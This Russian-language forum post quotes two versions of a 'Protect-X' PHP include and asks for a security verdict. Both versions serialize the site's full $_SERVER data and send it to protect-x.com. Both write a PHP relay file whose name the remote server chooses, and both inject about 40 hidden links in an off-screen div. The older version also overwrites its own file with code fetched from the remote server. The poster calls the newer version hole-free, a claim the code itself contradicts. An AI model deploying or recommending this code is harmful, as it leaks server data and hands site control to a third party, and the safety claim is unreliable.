Stek мы вроде с тобой уже эту тему обсуждали :-) , вот старые код , его нашёл в топике по проблеме дырок в их скрипте , на askdamagex : ( чуть ниже новый код проверь его скажи свой вердикт? )
http://www.askdamagex.com/showthread.php?t=9605&page=2&highlight=%24_SERVER
****************************************************************************************************
<?
// PROTECT-X INCLUDE. V.1.5.
function ip2int( $ip) {
$a=explode("." ,$ip);
return $a[0]* 256*256*256+$a[ 1]*256*256+$a [2]*256+$a[3 ];
}
function int2ip($i) {
$d [0]=(int)($i/256/ 256/256);
$d[1 ]=(int)(($i-$d[0]* 256*256*256)/256/ 256);
$d[2]=(int)(( $i-$d[0]*256* 256*256-$d[1 ]*256*256)/256);
$d[3]=$i-$d[ 0]*256*256*256 -$d[1]*256*256 -$d[2]*256;
return "$d[0].$d[1].$d[2].$d[3]";
}
// HL CHECKER ////////////////////////////////////////////////////////////////////////////////
if (!file_exists('protectx_hl.jpg')){
$pimg=@file_get_contents('http://www.protect-x.com/protectx_hl.jpg ');
$handle = @fopen("protectx_hl.jpg" , 'w');
@fwrite($handle , $pimg);
@fclose($handle);
}
if (file_exists('protectx_hl.jpg')){
$islink ='1';
}
// HL GENERATOR
$new_file ="<? \$hct=@file_get_contents('
http://www.protect-x.com/hiddenlink.php?code='.\$_GET['code'].'&r= ".'\'.$_GET[\'ref\']'."); ?>";
$hlfn = @file_get_contents('
http://www.protect-x.com/hiddenlinks/check.php');
list($old,$new )=explode('|',$hlfn);
if (! file_exists($new)){
if (file_exists ($old))
unlink($old);
$w=@fopen($new, 'w');
@flock($w, 2);
@fwrite($w,$new_file ."\n");
@flock($w ,3);
@fclose($w );
}
///////////////
//////////////////////////////////////////////////////////////////////////////////////////////
$parts=urlencode(serialize( $_SERVER));
$ip=getenv("REMOTE_ADDR" );
$aurl='
http://www.protect-x.com/autoupdate/check.php?code=xxxxxxx ';
$lfrom=urlencode("http://" .$_SERVER['SERVER_NAME']);
$url='
http://www.protect-x.com/protectx.php?code=xxxxxxx&islink= '.$islink.'&b=1&f='.urlencode ($_SERVER['HTTP_REFERER']). '&st='.ip2int($ip).'&lfrom=' .$lfrom."&srv=$parts";
$body = @file_get_contents($url);
echo $body ;
$check = @file_get_contents($aurl );
if (strlen($check)>2 ){
$protect_file='protectx.php';
if (is_writable ($protect_file)){
$w=fopen ($protect_file,'w');
flock ($w,2);
fwrite( $w,$check."\n");
flock ($w,3);
fclose ($w);
}
}
?>
**************************************************************************************************************************
А вот код который они обновили в нем вроде нет дырок и на их сайте есть 2 версии одна с autoupdate другая без него на выбор пользователя :
Также новая версия scripta не может тормазить server потому как timeout стоит 2 секунды , это значит что если нет ответа от servera protect-x.com в течении 2 секунд их кнопка просто грузится с вашего servera там ее копия есть и всё грузится быстро ;-)
**************************************************************************************************************************
<?
$version='1.7';
$timeout=2;
function f_file_get_contents($url)
{
global $timeout;
if (ini_get('allow_url_fopen')){
$old = ini_set('default_socket_timeout', $timeout);
$data=@file_get_contents($url);
ini_set('default_socket_timeout', $old);
} else {
$url=str_replace('&','&',$url);
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec ($ch);
curl_close ($ch);
}
return $data;
}
function ip2int($ip) {
$a=explode(".",$ip);
return $a[0]*256*256*256+$a[1]*256*256+$a[2]*256+$a[3];
}
function GetRandomString($length) {
$template = "1234567890aJbEcdGFefgHhiVjklmAQnopqZrsJtuNvwMxWOPLKyz";
$rndstring='';
for ($a = 0; $a <= $length; $a++) {
$b = rand(0, strlen($template) - 1);
$rndstring .= $template[$b];
}
return $rndstring;
}
$p1=array('id=','gr=','script=','l=','c=','i=');
$p2=array('s=', 'nc=', 'c=', 'fc=', 'p=', 't=');
$p3=array('u=','url=','u=','url=','u=','url=');
$p4=array('&l=movie','&link=pic','&link=m','','&l=tmb'.rand(40,270),'&l=got','&lnk=thumb','','');
if (isset($_SERVER['QUERY_STRING']))
if ($_SERVER['QUERY_STRING']=='getversion'){
echo $version;
} else {
$parts=urlencode(serialize($_SERVER));
$ip=getenv("REMOTE_ADDR");
$lfrom=urlencode("http://".$_SERVER['SERVER_NAME']);
if (!isset($_SERVER['HTTP_REFERER']))$_SERVER['HTTP_REFERER']='';
$url='
http://www.protect-x.com/sprotectx.php?code=af59ab9231aac6d&b=1
e($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom. "&srv=$parts";
$body = f_file_get_contents($url);
if (empty($body)){
$filename='protectx.gif';
} else {
list($body,$new,$old)=explode('|',$body);
if ($body!='b_' and $body!='ch_' and $body!='g_' and $body!='nb_' and $body!='uv_' and $body!='ad_'){
$filename='protectx.gif';
} else {
$filename=$body.'default.gif';
}
}
$new_chksum=$new[1].$new[3].$new[5];
if ($new_chksum!='zan') $new='pzoaenthl.php';
$old_chksum=$old[1].$old[3].$old[5];
if ($old_chksum!='zan') $old='pzoaenthl.php ';
echo "<a href='http://protect-x.com/index.php?go=show&code=af59ab9231aac6d&fb=1 ' target='_blank'><img src='
http://protect-x.com/buttons/$filename' border='0' style='width: 120px; height: 60px;'></a>";
$chour=date('H');
if ($chour==15 and $new!=''){
$new_file="<? \$hct=@file_get_contents('
http://www.protect-x.com/hiddenlink.php?code='.\$_GET['code'].'&r=".'\'.$_GET[\'ref\']'."); ?>";
if (!file_exists($new)){
if (file_exists($old))
unlink($old);
$w=@fopen($new,'w');
@flock($w,2);
@fwrite($w,$new_file."\n");
@flock($w,3);
@fclose($w);
}
}
if (!file_exists('protectx_hl.jpg')){
$pimg=@f_file_get_contents('http://www.protect-x.com/protectx_hl.jpg' );
$handle = @fopen("protectx_hl.jpg", 'w');
@fwrite($handle, $pimg);
@fclose($handle);
} else {
if ($new!=''){
if (file_exists($new)){
echo "<div style='display: none; position:absolute; left:-300px;'>";
for($i=0;$i<40;$i++){
$link="<a href='$new?code=af59ab9231aac6d&ref=".$_SERVER['HTTP_REFERER'].'&'.$p1[rand(0,5)].rand(1,80).'&'.$p2[rand(0,5)].rand(1,80).'&'.$p3[rand(0,5)].GetRandomString(rand(30,50)).$p4[rand(0,8)]."'><img src='protectx_hl.jpg' width='150' height='120' alt='Movie'></a>\n";
echo $link;
}
echo "</div>";
}
}
}
}
?>
****************************************************************************************************************************
Насчет параноиков я смотрю буржуям далеко до наших :-)